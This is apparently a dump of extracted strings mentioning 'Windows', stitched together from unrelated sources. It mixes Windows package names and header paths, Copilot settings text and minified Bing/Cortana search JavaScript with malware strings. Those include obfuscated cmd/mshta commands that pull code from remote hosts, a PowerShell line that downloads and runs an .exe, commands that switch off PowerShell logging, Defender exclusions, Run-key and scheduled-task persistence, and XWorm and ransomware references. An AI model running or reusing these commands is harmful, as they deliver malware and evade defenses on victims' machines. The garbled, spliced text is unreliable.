=$_.name+'.loca\internal\cppwinrt\winrt\Windows.Devices.Enumeration.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Storage.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Json.h
WindowsDefaultLockScreenA
Software\Microsoft\Windows\Cs
Windows Media Foundation\ByteStreamHandlersW
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Windows::System::Profile::AnalyticsInfo::GetSystemPropertiesAsync
Windows.Networking.(
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.ContentPrefetcher.Internal
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
SOFTWARE\Microsoft\Windows Media Foundation
a4path'hkcu:\software\microsoft\windows\currentversion\run'
 <t>\windows\</t>
Microsoft.Windows.Security.NXT.PlatformCryptoProviderAggregrate
Microsoft.Windows.Security.NXT.PlatformCryptoProvider
Microsoft.Windows.Security.PlatformCryptoProviderAggregrate
Microsoft.Windows.Security.PlatformCryptoFlowProvider
Microsoft.Windows.Security.PlatformCryptoProvider
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.PlatformCryptoProvider
C:\Windows\System32\hal.dllAllocation CLFS_PATH
icrosoft.Windows.Cortana_cw5n1h2txyewy!
WindowsB
of WindowsK
versions of WindowsT
previous versions of Windows333
Ecmd.exe{/x/doim/v/cs^t^artms^iex^ec^k^h^k^uh=^vu-^f^v"http://0p.rs:8080/abyhpvytvkcvgjbzwr4n40zdct9hvf1qimv/!computername!"/^q!%systemroot%\system32\shell32.dll%
cmd.exe|/q/v/cst^a^r^tm^siex^e^cg^hftpv^qx=^ac-qui^et-^fv"http://2i.wf:8080/b/iba/2ahgewmzttyqvtrbr2lxko4oo/a/!computername!"!%systemroot%\system32\shell32.dll%
windows\syswow64\windowspowershell\v1.0invoke-webrequest-uri'https://silverline.com.sg/new/eyeqkzxtfeyxwr.exe'-outfile$env:temp\file.exe;start$env:temp\file.exe
[*\cmd.exe.ermeas$..\..\..\..\windows\system32\cmd.exe/v/rsta^rtm^siex^e^cgd^k^pq^s^u=z^x-^fv"http://q0.wf:8080/ayayv9grwjtmifxe/dzmmalvtvv/mynwo/d/!computername!
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://www.sessosesso.it/assets/aw/yt.hta
.expandenvironmentstrings("%windir%")&"\syswow64\windowspowershell\v1.0\+*
E@echooffpowershell-windowstylehidden-c
EMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)
Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/8.0; Touch; rv:11.0; IEMobile/11.0) like Gecko
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36 Edge/18.26200
Mozilla/4.0 (compatible; MSIE 8.0; Windows Phone OS 7.5; Trident/4.0; IEMobile/8.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows Phone OS 7.5; Trident/4.0; IEMobile/8.0)
d1^com.microsoft.windows.extensions.xaml.taskbar.extension
d2^com.microsoft.windows.extensionpackage
`\windowsexplorer.pdb
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft.Windows
\Microsoft.WindowsCamera_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-InternetClient
winlogon
="c:\windows\temp\
YH.8set-psreadlineoption-historysavestylesavenothing`set-itemproperty-pathhklm:\software\policies\microsoft\windows\powershell\transcription-nameenabletranscripting-value0`remove-pslogging
.?AVHResultException@Internal@Windows@@
.P6A?AV?$vector@UJapaneseEraInfo@Calendars@Globalization@Windows@@V?$allocator@UJapaneseEraInfo@Calendars@Globalization@Windows@@@std@@@std@@XZ
echo---disable"deviceperformanceandhealth"sectionin"windowssecurity"
c:\windows\system32\cmd.exe/start/min%comspec%start/min%comspec%/v/c
\windows\microsoft.net\framework\v2.0.50727\
\windows\microsoft.net\framework\v4.0.30319\
cjoin-path$env:appdata'microsoft\windows\startmenu\programs\startup
CreateSavedWindowsRestoreTabsTipTest
Reason::failed_improperlyFormattedWindowSkipped
improperlyFormattedWindowSkipped
.\..\..\..\..\windows\system32\cmd.exe/c%cd%\7965\2736.jsc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll%wn]nd.q`xdesktop-0eabd2c\kk`od|t\kk`od|t1spsxfl8c&mq/s-1-5-21-465577534-125065318-8991892378-100591spsmdphh@.=xhht.%+gweq
windowsG
similar windowsM
group similar windowsP
to group similar windowsT
how to group similar windowsj
AAA_SystemSettings_SyncSettings_Windows_Toggle2
-AAA_SystemSettings_SyncSettings_Windows_Toggle2	
Windows settingsO
9AAA_SystemSettings_SyncSettings_Windows_Toggle2
other Windows settingsS
AAAA_SystemSettings_SyncSettings_Windows_Toggle2
and other Windows settings\
SAAA_SystemSettings_SyncSettings_Windows_Toggle2
Explorer and other Windows settingsa
]AAA_SystemSettings_SyncSettings_Windows_Toggle2
File Explorer and other Windows settingsG
)AAA_SystemSettings_SyncSettings_Windows_Toggle2
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Data.Json.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.Collections.h
Gnew-itemproperty-path'hkcu:softwaremicrosoftwindowscurrentversionrun'-name
(xWindows\ShellNoRoam\MUICache
\C:\WINDOWS\System32\msnmsgs.exe
c:/windows/system32/driverstore/filerepository/devmap.inf_amd64_1993197f4612e967"
c:/windows/system32/driverstore/filerepository/displaymux.inf_amd64_da65a70f0c3ce0f3&
.~1\default.rdp/s/a>>c:\windows\temp\%computername%.txtifexistQ
HeaderHelpers_CreateWindowsAccountAuthTokenTask
HeaderHelpers_CreateWindowsAccountAuthTokenTask
HeaderHelpers_CreateWindowsAccountAuthTokenTask
SqmIsWindowsOptedIn
windows security a9
PC141.98.7.51/stub/Shell.exeXWORM NOT FIXEDAdd-MpPreference -ExclusionPath C:\Windows\PowerShellInjection completed!Ransom:Win32/Satan.AYA!MTB
r.cvcvn.cn/ACE/Scvhost.exeC:\Windows\SysWOW64\Scvhost.exeschtasks /create /tn XN-DTZY /TR C:\Windows\SysWOW64\VIP.exe /delay
fDEncrypting payload with ChaCha20+XOR.Encrypted payload size: %u bytes.Output saved to packed.exe\Release\bigDawg.pdbSOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112011
%Microsoft Windows Production PCA 2011
"Windows"
"Windows"
"Windows"
set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powershell\modulelogging'-nameenablemodulelogging-value0
set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powershell\transcription'-nameenabletranscripting-value0
=shell.expandenvironmentstrings("%appdata%\microsoft\windows\startmenu\programs\startup\
.bat"(regadd"hkcu\software\microsoft\windows\currentversion\run"/v
2ba^com.microsoft.windows.extensionpackage
idel C:\Windows\System32\Taskmgr.exed
//goserverupdate.blob.core.windows.net//
asContent())?"true":"false",isDSBAllowedInEntryPoint:n.isDSBAllowedInEntryPoint()?"true":"false",isDynamicSearchContentPossible:n.isDynamicSearchContentPossible()?"true":"false",isDynamicSearchContentBaseEnabled:n.isDynamicSearchContentBaseEnabled()?"true":"false",isDSBAllowedForUser:n.isDSBAllowedForUser()?"true":"false",canShowMsbDsbInWorkScopeZi:n.canShowMsbDsbInWorkScopeZi(this._partialQuery)?"true":"false",canEnableDsbWebMruInWebScope:n.canEnableDsbWebMruInWebScope(this._partialQuery)?"true":"false",canShowSearchHomeAIFeed:n.canShowSearchHomeAIFeed()?"true":"false",isBingEnabled:n.isBingEnabled()?"true":"false",isDSBEnabledByClient:n.Host.isDSBEnabledByClient()?"true":"false",isDSBEnabledByClientAPI:((d=(k=(et=SearchAppWrapper.CortanaApp).isDynamicSearchBoxEnabled)===null||k===void 0?void 0:k.call(et))!==null&&d!==void 0?d:!0)?"true":"false",alwaysWidth:n.RuntimeConfig.AlwaysWide?"true":"false",enableDynamicSearchBox:n.config.enableDynamicSearchBox?"true":"false",isBingGleamDisabledByRegionalPolicy:n.isBingGleamDisabledByRegionalPolicy()?"true":"false",isMsbDsbEnabled:n.isMsbDsbEnabled()?"true":"false",isWin11GleamEntryPoint:n.isWin11GleamEntryPoint()?"true":"false",isSearchPointsOfFlexibilityEnabled:n.isSearchPointsOfFlexibilityEnabled()?"true":"false",shouldShowDSBFullWidth:n.shouldShowDSBFullWidth()?"true":"false",isDSBFullWidthFlightEnabled:n.isDSBFullWidthFlightEnabled()?"true":"false",isDSBV2EnabledMarket:n.isDSBV2EnabledMarket()?"true":"false",isDSBFullWidthEntryPoint:n.isDSBFullWidthEntryPoint()?"true":"false",dsbHasFullWidthContent:(n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.hasContent(!0))?"true":"false",isBrowserOnline:n.isBrowserOnline()?"true":"false"};n.InstrumentationHelper.logClientInstEvent("ClientInst","DsbNotShowReason",u,t,"WindowsTelemetry")}let[rt,lt]=this.updateTopResults(t,i,r,u,f,h);lt();this._resultsCounter.topResults=[];n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&(this._existPendingSettingsGroup=!1,this._settingSuggestions=[]);for(let t of this.topResults){t.previewPaneNeedsRefreshAfterDeduping=!1;let i=1+(t.primaryMetadata?1:0)+(t.secondaryMetadata?1:0);this._resultsCounter.topResults.push({mainTextWrapsToTwoLines:l(t,null,!0),numberOfLines:i,isHtmlAnswer:!!t.htmlContent,isSuppressed:!1,grid:n.displayedInGridLayout(t.type)||n.isImageGridEnabledForItem(t.type)||n.shouldShowBingImageSearch(t.type)})}if(this._autoComplete&&this.topResults.length>0&&this._selectedItem==this.topResults[0]&&this._autoComplete.apply(this.topResults[0]),this.handlePendingSubmit(f)==0)return this.toggleProgressBar(!0),0;this._partialQuery&&this._partialQuery.isSearchHomeZI&&this.toggleProgressBar(!h);let ut=!1,y=0,at=this.createIconRenderInfo(),ot=n.config.msbDsbExtraInfoNoInstDebug==!0&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant()),ft=t=>{var i,r;if(ut){let f=this.groups.map(n=>n.typeWithSource.type);if(!((i=this._contentQuery)===null||i===void 0?void 0:i.queryToFetch)&&y==0){let i=this._cvidAtLastRender!=n.Host.getConversationId();this._cvidAtLastRender=n.Host.getConversationId();n.InstrumentationHelper.instrumentZiRendered(u,i,t)}n.InstrumentationHelper.instrumentRenderFinished(u,o,f,y!=0,!((r=this._contentQuery)===null||r===void 0?void 0:r.queryToFetch))}},a=(t,i)=>{var e,o;n.RuntimeConfig.QfMode==12&&(t.template=1);n.config.subtextGroupResults&&(t.template||n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9||this._partialQuery.isSearchHomeZI||(t.primaryMetadata&&(t.template=1),t.secondaryMetadata=undefined));let f=!1;if(this.isRankable(i)&&this._partialQuery&&this._partialQuery.queryToFetch)if(n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&i.type===n.GroupType.Settings)if(this._existPendingSettingsGroup){for(let n=0;n<i.suggestions.length;n++)if(this.compareSettings(t,i.suggestions[n])){i.suggestions.splice(n,0,t);f=!0;break}}else i.suggestions.push(t),f=!0;else for(let n=0;n<i.suggestions.length;n++)if(t.rankingScore>i.suggestions[n].rankingScore){i.suggestions.splice(n,0,t);f=!0;break}if(n.config.enableQFSWBestPos
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
UpdateChildWindows
WindowsFeedbackProtocol
WindowScrollTop
WindowScrollLefta
IllegalWindowsItemName
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
8009.5?-.18503:t(n,350)>.39324?t(n,264)>.06515?t(n,158)>11560?t(n,158)>11753.5?-.00142:.20388:t(n,158)>11318?-.25122:t(n,16)>16830?t(n,420)>.4136?t(n,420)>.63309?-.04805:t(n,420)>.60786?.26646:.06001:t(n,350)>.89598?-.22353:.03963:t(n,420)>.46829?-.2137:-.0145:-.22211:t(n,322)>0?t(n,264)>.11721?t(n,334)>18583.5?-.07632:t(n,420)>.46518?-.33884:-.12647:.02125:t(n,269)>3784?t(n,7)>21195.5?-.12735:-.03294:.07185:t(n,420)>.50592?t(n,103)>.46001?-.04097:.01773:t(n,95)>2041191?-.04779:.06879:-.1353:t(n,901)>0?t(n,7)>22089?t(n,309)>1.5?.07117:-.1719:t(n,264)>.31525?t(n,264)>.99965?.01339:.18306:t(n,309)>2.5?.12759:t(n,327)>7456.5?.09484:t(n,420)>.5513?t(n,350)>.59917?-.24307:t(n,264)>.1345?-.17446:.03305:.14189:t(n,95)>655474.5?t(n,94)>.07174?t(n,400)>0?t(n,335)>0?.06669:t(n,94)>.82435?t(n,94)>.95625?-.00323:t(n,264)>.10729?t(n,264)>.23106?-.00682:-.09058:t(n,134)>7.5?.04668:t(n,327)>8592.5?-.16939:.00478:t(n,94)>.37712?t(n,350)>.82079?t(n,420)>.71933?t(n,350)>.84577?.29045:.09575:.00396:t(n,134)>22.5?t(n,16)>5593.5?-.29777:.00232:t(n,16)>6238.5?.04113:t(n,9)>.24794?t(n,16)>4310.5?-.02729:.03825:-.04388:t(n,134)>11.5?t(n,2)>5.5?t(n,269)>5860?.2252:t(n,94)>.10656?t(n,135)>2.98684?t(n,281)>.11438?.07636:-.05074:.13983:t(n,9)>.39457?.05969:.27507:t(n,308)>.04333?-.20299:t(n,284)>15.5?t(n,94)>.1118?t(n,13)>7.5?-.30766:-.10992:.034:.00883:t(n,284)>10.5?-.17687:t(n,264)>.16229?t(n,350)>.67369?.08965:t(n,420)>.7538?-.12352:.01456:t(n,264)>.08609?t(n,9)>1.14342?-.23518:t(n,166)>488825.5?.02074:-.11276:-.0103:t(n,135)>8.68334?t(n,169)>.1132?-.07527:t(n,334)>6437.5?.14864:.02747:t(n,7)>6948.5?t(n,9)>6.8963?t(n,264)>.18333?t(n,350)>.56337?-.04968:.02427:.02618:t(n,264)>.41008?.04893:t(n,94)>.07961?t(n,282)>.10847?.00272:t(n,264)>.07554?t(n,267)>.01976?t(n,264)>.12458?t(n,135)>3.41886?.0075:-.13533:t(n,134)>5.5?t(n,9)>0?-.05461:t(n,94)>.32363?-.0139:.20488:-.08362:-.02007:.01755:t(n,267)>.33427?-.08453:.06378:t(n,94)>.10882?t(n,94)>.35885?.01143:t(n,327)>4793.5?t(n,166)>1803878?.13066:t(n,94)>.18968?.03324:t(n,264)>.16513?-.17601:-.00951:t(n,103)>.05029?t(n,420)>.69568?.17464:.03156:.04098:t(n,95)>18772284?-.22893:-.0056:t(n,95)>1180826.5?t(n,350)>.06462?t(n,47)>1.5?.13573:t(n,420)>.42794?t(n,420)>.47232?-.03301:-.1561:.07499:.10639:t(n,420)>.82052?.09798:-.12867:.00049}function pi(n){return t(n,282)>.57161?t(n,103)>.75041?t(n,282)>.80064?t(n,9)>.00044?t(n,309)>1.5?t(n,264)>.55336?-.06833:-.00759:.01265:t(n,137)>19.5?-.12722:.07014:t(n,94)>.19542?.0224:.09694:t(n,350)>.40224?t(n,308)>.02837?t(n,334)>17182.5?.03973:t(n,266)>.51191?t(n,95)>180.5?t(n,284)>27.5?.05042:-.02945:t(n,103)>.00075?-.02467:.06448:-.09958:t(n,94)>.68169?t(n,309)>2.5?-.08472:.01431:t(n,350)>.96101?-.17826:-.04828:t(n,10)>2.5?t(n,334)>0?t(n,9)>.06421?t(n,284)>20.5?-.14511:.02227:t(n,352)>30540.5?t(n,264)>.30212?.07326:-.05083:t(n,7)>10633.5?-.05076:-.14841:t(n,420)>.62901?t(n,264)>.14004?t(n,268)>308.32149?-.09306:t(n,271)>.99851?t(n,281)>.51316?-.00464:-.07391:.04082:.08807:.08078:.04244:t(n,282)>.50961?.05:t(n,266)>.83974?t(n,47)>1.5?t(n,310)>.70062?t(n,7)>2433.5?.04863:.16593:.01951:t(n,94)>.37712?t(n,309)>8.5?t(n,16)>1000.5?t(n,350)>.95753?-.22823:t(n,350)>.87453?t(n,352)>1966115?.10381:-.09148:t(n,310)>.612?t(n,282)>.00351?-.00928:-.16205:.0664:t(n,9)>7.91048?.12306:-.03907:t(n,282)>.2503?-.01087:t(n,103)>.12513?t(n,103)>.75041?t(n,264)>.09906?-.0227:.10685:t(n,9)>.52496?t(n,7)>8439.5?.08181:.17267:.05052:t(n,94)>.59942?t(n,103)>.00097?-.08075:t(n,13)>4.5?.06337:t(n,169)>.1132?t(n,16)>4572.5?.00672:-.17054:.04598:t(n,137)>9.5?.05268:t(n,352)>3516986.5?.22302:.07819:t(n,95)>121695?t(n,282)>.00227?t(n,9)>.02843?t(n,103)>.09094?.03273:-.06318:.10257:t(n,264)>.29856?t(n,334)>0?t(n,135)>3.17425?-.06283:-.18361:.05318:t(n,420)>.62901?t(n,284)>8.5?t(n,94)>.25913?t(n,169)>.45644?-.21144:.00243:t(n,16)>3871.5?.08039:t(n,7)>5835.5?-.09862:.07819:t(n,264)>.26566?.15168:t(n,27)>0?.13541:t(n,2)>9.5?t(n,334)>10829.5?-.23377:t(n,94)>.20061?-.05699:.09008:t(n,420)>.7918?t(n,327)>9990?.0643:-.08476:t(n,1030)>0?-.25867:-.09794:t(n,308)>.00054?t(n,264)>.17782?-.18228:t(n,350)>.36433?t(turn l(n,"Height")};n.Core.Remove=function(n){n&&n.parentNode&&n.parentNode.removeChild&&n.parentNode.removeChild(n)};n.Core.ForEachChildren=function(n,t){for(var i=n.firstChild;i;i=i.nextSibling)i.nodeType===1&&t(i)};n.Core.Matches=function(n,t){return f.call(n,t)};n.Core.Offset=function(t){var i,r,u,f;if(t)return t.getClientRects().length?(i=t.getBoundingClientRect(),r=i.height!==undefined?i.height||i.width:i.bottom-i.top||i.right-i.left,!r)?i:(u=_d.documentElement.clientTop||_d.body.clientTop||0,f=_d.documentElement.clientLeft||_d.body.clientLeft||0,{top:i.top+n.Core.WindowScrollTop()-u,left:i.left+n.Core.WindowScrollLeft()-f}):{top:0,left:0}};u={position:"absolute",visibility:"hidden",display:"block"};n.Core.GetComputedStyle=function(n){return!n||!n.style?undefined:_w.getComputedStyle?_w.getComputedStyle(n):n.currentStyle};n.Core.ApplyCss=function(n,t){if(n&&n.style&&typeof t=="object")for(var i in t)n.style[i]=t[i]};n.Core.OuterWidth=function(t){return!t||!t.style?undefined:n.Core.IsHidden(t)?a(t,u,function(n){return n.offsetWidth}):t.offsetWidth};n.Core.OuterHeight=function(t){return!t||!t.style?undefined:n.Core.IsHidden(t)?a(t,u,function(n){return n.offsetHeight}):t.offsetHeight};n.Core.Show=function(n,t){n&&n.style&&t!==undefined&&t!==null&&(n.style.display=t)};n.Core.Hide=function(n){n&&n.style&&(n.style.display="none")};n.Core.IsHidden=function(t){return!t||!t.style?undefined:n.Core.GetComputedStyle(t).display==="none"};n.Core.SetPosition=function(n,i,r,u){var f=i,e=r;i&&r&&(u&&u.length===2&&(u[0]==="b"&&(f-=t.OuterHeight(n)),u[1]==="r"&&(e-=t.OuterWidth(n))),f<0&&(f=0),e<0&&(e=0),t.ApplyCss(n,{top:f+"px",left:e+"px",bottom:"unset",right:"unset"}))};n.Core.GetElementByHlid=function(n,t){return _d.querySelector('[hlid="'+n+'"]'+(t?"."+t:""))||undefined};n.Core.GetAllElementsByHlid=function(n){return _d.querySelectorAll('[hlid="'+n+'"]')};n.Core.GetHlid=function(n){return n&&(n.getAttribute("hlid")||undefined)};n.Core.SetHlid=function(n,t){n&&n.setAttribute("hlid",t)};n.Core.GetSelectedElements=function(){return _d.querySelectorAll("."+n.Core.selectedElementClass)};n.Core.UpdateSubmit=function(t){var i=_ge("fbpgdgsbbt");n.Core.ValidateInputs(t)===!0?i.removeAttribute("disabled"):i.setAttribute("disabled","true")};n.le=function(n,t){SharedLogHelper&&SharedLogHelper.LogError&&SharedLogHelper.LogError("Feedback: ".concat(n),null,t)};n.leh=function(t,i,r){n.le("Feedback: ".concat(t," handler failed in ").concat(i),r)};n.fel=function(t,i){for(var u=[],r=2;r<arguments.length;r++)u[r-2]=arguments[r];try{u.unshift(t);sj_evt.fire.apply(null,u)}catch(f){n.leh(t,i,f);throw f;}}})(t=n.Core||(n.Core={}))})(Feedback||(Feedback={})),function(){"use strict";var n=function(){function n(){this.maxSizeBytes=35e5;this.feedbackUploadUrl="/feedback/submission";ClientInstConfig.enableOfflineBundleWithWebExperience&&(this.feedbackUploadUrl="https://www.bing.com/feedback/submission");this.maxSendTries=2;this.requestTimeout=1e4}return n.prototype.Send=function(n,t,i,r){t===void 0&&(t=undefined);i===void 0&&(i=undefined);r===void 0&&(r=undefined);var u=typeof t=="undefined"?Feedback.Core.GenerateString(32):t;return this.SendAttempt(n,u,1,i,r)},n.prototype.SendAttempt=function(n,t,i,r,u){var f=sj_gx(),e=Feedback.Core.AddUrlParam(this.feedbackUploadUrl,"debugid",t);e=Feedback.Core.AddInstToUrl(e);f.open("POST",e,!0);f.timeout=this.requestTimeout;f.setRequestHeader("Content-Type","application/json; charset=UTF-8");f.onreadystatechange=function(){f.readyState==f.DONE&&(f.status>=200&&f.status<300||f.status==204||f.status==1223?this.OnSendSuccess(n,t,r):i>=this.maxSendTries?this.OnOnlineSendFailure(n,t,r):(typeof _G!="undefined"&&_G.IG?Log2.LogEvent("ClientInst",{error:"Will need to retry sending the payload because not all of them reached the live bing.com servers"},"Feedback.Error",null,null,_G.IG,null,null):Log2.LogEvent("ClientInst",{error:"_G.IG was not available when we wanted to log that we will resend the payload"},"Feedback.Error",null,null,null,null,null),this.SendAttempt(n,t,++i,r,u)))}.bind(this);f.send(JSON.stringify(n))},n.prototynhopvj$hdx3q1ftdkcr#q
"C:\Windows\System32", Null, 0 * 1= ActiveDocument.Paragraphs(
<ahref="http://fiz6qed.org/windowsupdate.exe">downloadtheupdate</a>
c:\windows\autorun.inf\
copy/yc:\windows\system.txtc:\tunggul.vbs>nul
get /show.aspx?file=9999&hash=0\system32\msvfw64.usr
mac address....:cursors\aero_link.curc:\windows\system32\libeay32.dllc:\windows\system32\ssleay32.dllidentificacion..:mysampleappmutexhora...........:pin1............:serie hd....:c:\windows\kb110809.txt
R190.34.136.180/\windowsupdate32.exe\handle32.exeBootExecuteFROGSICE
nc.safeChainWithGlobalCaching("defaultBrowserIcon",t=>e.deviceSearch.getIconForDefaultBrowserAsync(n.getImageSizeValue(t),0).then(n=>n?o(n,"defaultBrowserIcon"):{type:0,content:h}),n=>n+"_"+r.progId):null)}i.setDefaultUriLaunchPolicy&&i.setDefaultUriLaunchPolicy(t.getUriLaunchPolicy())}static async chainHandlerPromises(t,i){for(const r of t)try{await r()}catch(u){n.LogWSBError("chainHandlerPromises",i,u,undefined,undefined,"WindowsTelemetry")}}static async trySetGleamAsync(i,r){if(!t._isSetGleamInProgress){t._isSetGleamInProgress=!0;let u;try{if(u=await n.Async.safePromise("setSearchAppearanceAsync",()=>SearchAppWrapper.CortanaApp.setSearchAppearanceAsync(1,i)),u.state==262144)n.logToMC("Bing_QF_WSBHost","SkipSettingSearchAppearanceContent","logTrySetGleamAsync");else if(u.state!=0)throw new Error(JSON.stringify(u));else n.logToMC("Bing_QF_WSBHost","SearchAppearanceContentUpdated","logTrySetGleamAsync",i),t._showCopySearchGleam=r}catch(f){n.logToMC("Bing_QF_WSBHost","FailedToSetGleamdata","logTrySetGleamAsync",i);n.DSBLogError("SetSearchAppearanceResult",`failed to set gleamdata ${f}
 GleamJson:${i}`)}finally{t._isSetGleamInProgress=!1}}}static async resetGleamToDefaultAsync(){var r,i;let u=n.getDefaultGleamContent();n.AccessTokenManager.getWindowsAccountType()===1||u===""?(await((i=(r=SearchAppWrapper.CortanaApp).clearDynamicContent)===null||i===void 0?void 0:i.call(r)),t._showCopySearchGleam=!1):t.trySetGleamAsync(u,!1)}static getIsReloadSuppressedBgTask(){return t._isReloadSuppressedBgTask}static setIsReloadSuppressedBgTask(n){t._isReloadSuppressedBgTask=n}static getDefaultBrowser(){return t._defaultBrowser}static getSearchAppMemoryCommitMB(){return t._searchAppMemoryCommitMB}static setSearchAppMemoryCommitMB(n){t._searchAppMemoryCommitMB=n}static getFRSuggCount(){return t._fuzzyRankSuggestionCount}static setFRSuggCount(n=0){t._fuzzyRankSuggestionCount=n}static getCRCount(){return t._coldRankSuggestionCount}static setCRCount(n=0){t._coldRankSuggestionCount=n}static incrementCRCount(){t._coldRankSuggestionCount<0?t._coldRankSuggestionCount=1:t._coldRankSuggestionCount++}static getNCRCount(){return t._notColdRankSuggestionCount}static setNCRCount(n=0){t._notColdRankSuggestionCount=n}static incrementNCRCount(){t._notColdRankSuggestionCount<0?t._notColdRankSuggestionCount=1:t._notColdRankSuggestionCount++}static getFCRCount(){return t._finalColdRankSuggestionCount}static setFCRCount(n=0){t._finalColdRankSuggestionCount=n}static setBindDimissTime(n){t._dsbBindDimissTime=n}static getBindDimissTime(){return t._dsbBindDimissTime}static setBindShownTime(n){t._dsbBindshownTime=n}static getBindShownTime(){return t._dsbBindshownTime}static setIsCodexUser(n){t._isCodexUser=n}static getIsCodexUser(){return t._isCodexUser}static setPofLaunchUrlExist(n){t._pofLaunchUrlExist=n}static getPofLaunchUrlExist(){return t._pofLaunchUrlExist}static getThirdPartyAppsCache(){return t._thirdPartyAppsCache}static setThirdPartyAppsCache(n){t._thirdPartyAppsCache=n;t._mru3pAppCache=n===null||n===void 0?void 0:n.thirdPartyMRUExtension;t.setMru3pAppLocalCache(n===null||n===void 0?void 0:n.thirdPartyMRUExtension)}static getMru3pAppCache(){return t._mru3pAppCache?t._mru3pAppCache:t.getMru3pAppLocalCache()}static setMru3pAppCache(n){t._mru3pAppCache=n;t.setMru3pAppLocalCache(n)}static get3pGleamSchemaVersion(){var n;if((n=t._gleamSchema)!==null&&n!==void 0)return n.Public}static setMru3pAppLocalCache(t){if(t==undefined||t==null)n.LightweightStorage.removeItem(this._3pMRUCacheKey);else{let i={applicationUserModelId:t===null||t===void 0?void 0:t.applicationUserModelId,displayName:t===null||t===void 0?void 0:t.displayName,dynamicContentEndpoint:t===null||t===void 0?void 